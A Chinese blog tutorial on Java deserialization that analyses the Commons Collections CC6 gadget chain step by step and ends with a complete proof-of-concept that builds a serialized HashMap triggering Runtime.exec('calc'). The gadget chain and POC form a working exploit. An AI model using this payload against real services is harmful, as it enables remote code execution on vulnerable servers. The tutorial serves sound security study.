J

JAVA反序列化(4)——CC6链

平常心 JAVA代码审计 2025-02-05

1、前言

  1. 由于CC1,CC3等对JDK版本有限制,那么在真实场景中利用,很难符合版本要求。那么有没有一条链可以不限制JDK版本?答案是肯定的。CC6这条链不限制JDK版本,只要满足commons collections <=3.2.1即可。
  2. CC6后半段是从Lazymap类开始的。这边借用白日梦组长的图,红色这条链路就是CC6

2025-02-05T03:00:50.png

2、分析

前面说到,CC6后半段是从Lazymap类开始,这在CC1中已经学习过。那么现在我们只需要分析前半段链。直接从LazyMap的get方法开始分析。(ysoserial的CC1链后半段)

  1. LazyMap类的构造方法是protected的,无法直接new实例化,但有着public的静态方法decorate(),这个方法返回了一个LazyMap类对象。

2025-02-05T06:34:26.png

  1. 通过decorate()方法实例化LazyMap,并调用其get方法,成功执行命令。

2025-02-05T06:54:26.png

  1. 目的是反序列化执行命令,当然需要继续往上找,ysoserial的作者找到了TiedMapEntry类。TiedMapEntry类的hashCode方法调用了getValue(),getValue又调用了get方法。

2025-02-05T07:11:04.png

2025-02-05T07:11:15.png

  1. 那么就可以用TiedMapEntry的hashCode方法调用LazyMap的get方法。可以看到成功执行命令

2025-02-05T07:16:39.png

  1. 看到hashCode方法,根据之前URLDNS链的学习,我们应该有所想法了。HashMap的readObject方法中,有着putVal(hash(key), key, value, false, false);这行代码调用了hash(key)方法。而HashMap类的hash方法调用了hashCode()。其中key的值是从readObject获取的。

2025-02-05T07:40:05.png
2025-02-05T07:51:05.png

  1. 序列化时可以用HashMap的put方法传key,但HashMap的put方法会返回putVal(hash(key), key, value, false, true),导致提前走完流程。

2025-02-05T07:46:19.png

  1. 直接使用HashMap类的put方法来试试,可以成功执行命令。

2025-02-05T08:01:20.png

  1. HashMap的put方法会提前调用hash方法,在序列化前就执行命令,需要做出调整。可以在LazyMap.decorate的时候,我们传入一个无用的Transformer对象。如:new ConstantTransformer("1");在put完后通过反射修改LazyMap对象,传入正常的ChainedTransformer。

2025-02-05T08:23:11.png

  1. 但当我们运行后,什么都没发生。跟进调试,发现LazyMap类这边有个判断,if (map.containsKey(key) == false)。这里

为true,无法进入判断调用Transformer。
2025-02-05T08:53:45.png

  1. 那么需要在hashMap.put之后,把lazymap的key删掉。这样就可以成功执行命令。

2025-02-05T08:57:06.png

3、总结

利用链如下:

HashMap.readObject()
HashMap.hash()
  TiedMapEntry.hashCode()
  TiedMapEntry.getValue()
    LazyMap.get()
        ChainedTransformer.transform()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.exec()

完整的POC如下:

public class CC6 {
public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map lazymap = LazyMap.decorate(new HashMap(),new ConstantTransformer("1"));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    System.out.println(tiedMapEntry);

    HashMap<Object, Object> map1 = new HashMap<>();
    map1.put(tiedMapEntry, "1");
    lazymap.remove("aaa");

    Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap");
    Field dec = c.getDeclaredField("factory");
    dec.setAccessible(true);
    dec.set(lazymap, transformerChain);

    serialize(map1);
    unserialize("ser.bin");
} }

4、参考

https://www.bilibili.com/video/BV1yP4y1p7N7
https://github.com/phith0n/JavaThings?tab=readme-ov-file

评论(0)

发布评论

目录